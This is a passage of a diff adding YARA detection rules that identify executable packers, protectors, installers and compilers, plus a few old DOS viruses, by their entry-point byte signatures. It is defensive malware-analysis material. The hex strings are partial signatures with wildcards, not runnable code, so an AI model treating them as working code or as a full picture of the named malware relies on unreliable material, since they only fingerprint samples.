+		$2 = {E8 ?? ?? ?? ?? 5E 83 C6 ?? AD 89 C7 AD 89 C1 AD 30 07 47 E2 ?? AD FF E0 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PESHiELD_v02__v02b__v02b2_
+{
+	meta:
+		description = "PESHiELD v0.2 / v0.2b / v0.2b2"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V112V114_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.12-V1.14 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v253b3_
+{
+	meta:
+		description = "Armadillo v2.53b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Protect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Protect 0.9] --> Anorganix"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3}
+		$1 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nbuild_v10_soft_
+{
+	meta:
+		description = "nbuild v1.0 [soft]"
+	strings:
+		$0 = {B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _hyings_PEArmor_V076__hying_
+{
+	meta:
+		description = "hying's PEArmor V0.76 -> hying"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _USERNAME_v300_
+{
+	meta:
+		description = "USERNAME v3.00"
+	strings:
+		$0 = {FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_Pro_Edition_116__Randy_Li_h_
+{
+	meta:
+		description = "SDProtector Pro Edition 1.16 -> Randy Li (h)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41}
+	condition:
+		$0 at entrypoint
+}
+rule _North_Star_PE_Shrinker_v13_by_Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker v1.3 by Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01}
+	condition:
+		$0
+}
+rule _RSCs_Process_Patcher_v151_
+{
+	meta:
+		description = "R!SC's Process Patcher v1.5.1"
+	strings:
+		$0 = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83}
+	condition:
+		$0
+}
+rule _ARCSFX_Archive_
+{
+	meta:
+		description = "ARC-SFX Archive"
+	strings:
+		$0 = {8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimys_Protect_v10_
+{
+	meta:
+		description = "hmimys Protect v1.0"
+	strings:
+		$0 = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V10X__bagie_
+{
+	meta:
+		description = "SimplePack V1.0X -> bagie"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0"
+	strings:
+		$0 = {55 8B EC 83 EC 50 53 56 57 BE ?? ?? ?? ?? 8D 7D F4 A5 A5 66 A5 8B}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57 89 65 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF}
+		$2 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _Nakedbind_10__nakedcrew_
+{
+	meta:
+		description = "Nakedbind 1.0 -> nakedcrew"
+	strings:
+		$0 = {64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v092a_
+{
+	meta:
+		description = "tElock v0.92a"
+	strings:
+		$0 = {E9 7E E9 FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DxPack_V086__Dxd_
+{
+	meta:
+		description = "DxPack V0.86 -> Dxd"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+		$1 = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v251_
+{
+	meta:
+		description = "Armadillo v2.51"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v261_
+{
+	meta:
+		description = "Armadillo v2.61"
+	strings:
+		$0 = {55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Modification_of_Hi924_
+{
+	meta:
+		description = "Vx: Modification of Hi.924"
+	strings:
+		$0 = {50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v304betav306v307_
+{
+	meta:
+		description = "Inno Setup Module v3.0.4-beta/v3.0.6/v3.0.7"
+	strings:
+		$0 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C}
+	condition:
+		$0
+}
+rule _ZCode_Win32PE_Protector_v101_
+{
+	meta:
+		description = "ZCode Win32/PE Protector v1.01"
+	strings:
+		$0 = {E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0"
+	strings:
+		$0 = {FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v123_RC4_build_0807_exe__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 or $1
+}
+rule _ASPack_v107b_
+{
+	meta:
+		description = "ASPack v1.07b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE}
+		$1 = {90 90 75 ?? E9}
+		$2 = {90 90 90 75 ?? E9}
+		$3 = {90 75 ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _MS_RunTime_Library_OS2__FORTRAN_Compiler_1989_
+{
+	meta:
+		description = "MS Run-Time Library (OS/2) & FORTRAN Compiler 1989"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 2E A3 ?? ?? 3D ?? ?? 73}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v200_alpha_38_
+{
+	meta:
+		description = "PECompact v2.00 alpha 38"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_v50v60_MFC_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0/v6.0 (MFC)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CodeLock__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Code-Lock] --> Anorganix"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9}
+		$1 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_60_Debug_Version__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 10 01 90 90 90 90 90 90 90 90 E8 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 E9}
+		$1 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90}
+		$2 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Unknown_packer_03_
+{
+	meta:
+		description = "Unknown packer (03)"
+	strings:
+		$0 = {06 1E 57 56 50 53 51 52 BD ?? ?? 0E 1F 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v123b3__v1241_
+{
+	meta:
+		description = "PECompact v1.23b3 - v1.24.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_021_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.21 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_by_SMT_
+{
+	meta:
+		description = "Unknown by SMT"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_DxPack_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [DxPack 1.0] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9}
+		$1 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AVPACK_v120_
+{
+	meta:
+		description = "AVPACK v1.20"
+	strings:
+		$0 = {50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _DxPack_10_
+{
+	meta:
+		description = "DxPack 1.0"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Hafen1641_
+{
+	meta:
+		description = "Vx: Hafen.1641"
+	strings:
+		$0 = {E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_MIB_
+{
+	meta:
+		description = "PocketPC MIB"
+	strings:
+		$0 = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v10_
+{
+	meta:
+		description = "PEncrypt v1.0"
+	strings:
+		$0 = {60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _pirit_v15_
+{
+	meta:
+		description = "$pirit v1.5"
+	strings:
+		$0 = {5B 24 55 50 44 FB 32 2E 31 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Go32Stub_v200T_DOSExtender_
+{
+	meta:
+		description = "Go32Stub v.2.00T DOS-Extender"
+	strings:
+		$0 = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _SuperDAT_
+{
+	meta:
+		description = "SuperDAT"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v037_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.37 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v13__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.3 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V11__LiuXingPing_
+{
+	meta:
+		description = "NsPack V1.1 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BobPack_v100__BoB__BobSoft_
+{
+	meta:
+		description = "BobPack v1.00 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_300a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.00a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+		$1 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MS_RunTime_Library_1990_1992_09_
+{
+	meta:
+		description = "MS Run-Time Library 1990, 1992 (09)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? C3 8C DF 8B 36 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v039_final__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.39 final -> Sign by hot_UNP"
+	strings:
+		$0 = {56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91}
+		$1 = {FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF}
+	condition:
+		$0 or $1
+}
+rule _VideoLanClient__UnknownCompiler_
+{
+	meta:
+		description = "Video-Lan-Client -> (UnknownCompiler)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEnguinCrypt_v10_
+{
+	meta:
+		description = "PEnguinCrypt v1.0"
+	strings:
+		$0 = {B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_
+{
+	meta:
+		description = "Inno Setup Module"
+	strings:
+		$0 = {49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43}
+		$1 = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Vx_GRUNT1Family_
+{
+	meta:
+		description = "Vx: GRUNT.1.Family"
+	strings:
+		$0 = {01 B9 ?? 00 31 17}
+	condition:
+		$0 at entrypoint
+}
+rule _modified_HACKSTOP_v111f_
+{
+	meta:
+		description = "modified HACKSTOP v1.11f"
+	strings:
+		$0 = {52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60_SFX_Custom_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 SFX Custom"
+	strings:
+		$0 = {E8 21 48 00 00 E9 16 FE FF FF 51 C7 01 08 B4 00 30 E8 A4 48 00 00 59 C3 56 8B F1 E8 EA FF FF FF F6 ?? ?? ?? ?? 74 07 56 E8 F6 04 00 00 59 8B C6 5E C2 04 00 8B 44 24 04 83 C1 09 51 83 C0 09 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v3xx_
+{
+	meta:
+		description = "Armadillo v3.xx"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXEStealth_275__WebtoolMaster_
+{
+	meta:
+		description = "EXEStealth 2.75 -> WebtoolMaster"
+	strings:
+		$0 = {90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_Console_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (Console) v1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+		$1 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _dUP2__diablo2oo2_
+{
+	meta:
+		description = "dUP2 -> diablo2oo2"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12_
+{
+	meta:
+		description = "ASProtect v1.2"
+	strings:
+		$0 = {68 01 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Diminisher_V01__Teraphy_
+{
+	meta:
+		description = "PE Diminisher V0.1 -> Teraphy"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
